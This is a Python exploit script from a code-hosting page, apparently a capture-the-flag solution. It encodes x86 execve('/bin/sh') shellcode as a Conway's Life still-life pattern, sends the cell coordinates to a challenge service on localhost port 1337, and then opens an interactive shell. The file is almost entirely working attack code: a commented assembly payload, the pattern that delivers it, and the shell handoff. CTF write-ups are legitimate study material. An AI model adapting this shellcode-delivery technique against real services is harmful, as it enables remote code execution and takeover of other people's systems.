-
Notifications
You must be signed in to change notification settings - Fork 4
/
b3s23_solve.py
128 lines (114 loc) · 8.25 KB
/
b3s23_solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import random
import socket
import time
import sys
import telnetlib
TARGET = ('127.0.0.1', 1337)
"""
Executable B3/S23 still life. Ain't that something?
State in the beginning is
* EBX points after last shellcode byte (where we have last written)
* ECX = EAX = 0
* EDX = 1
Steps
* Encode "/bin/sh" in a middle row and left justified
* Encode shellcode in the first 13 bytes of the first row
* Set EBX on the last bit or the row before the start of our "/bin/sh" construction
in order to preserve the integrity of the construction
We increment EBX to point directly to "/bin/sh", then the shellcode setups and triggers
the execve call.
inc ebx
push eax
push ebx
or al,0xb
push esp
pop ecx
mov dl, 0x0
int 0x80
"""
pattern = """
.#....##.#.#.....#.#..##....##......#.##....##......#....#.#.#...#.##..##.##..#.........##..##.##.............
#.#....#.##.#....##.#..#....##......##.#....##.....#.#..#.###.#..##.#..##.##..###.......##..##.##.............
.#....#.....#.......##..............................#...#.....#..................#............................
......#.##.#.....##.#....................................#.#.#................###.............................
.......#.##......#..#.....................................##.##...............#...............................
..................##..........................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
..............................................................................................................
...##.........................##...##........##...............................................................
....#.........................#.....#...#....#................................................................
...#...#.##..##..#.##..........#...#...#.#.....#.##.##........................................................
..#.####.##...#..##.#..#.##.###...#.####.###..##.##.#.........................................................
..#.#........#.........##.#.#.....#.#.......#.........#.......................................................
.##..#.......##..................##..#.....#.........##.......................................................
....##..............................##.....##.................................................................
..............................................................................................................
"""
grid = pattern.split()
s = socket.create_connection(TARGET)
for i in range(110):
for j in range(110):
if i < len(grid) and j < len(grid[i]) and grid[i][j] == '#':
tosend ='%d,%d' % (j,i)
s.send(tosend + '\n')
# set ebx to 1 bit before "/bin/sh"
s.send('109,59\na\n')
print "Payload sent"
time.sleep(8)
s.send('echo win!\n')
buf = ''
while not buf.endswith('win!\n'):
buf += s.recv(1)
t = telnetlib.Telnet()
t.sock = s
print "Shell"
t.interact()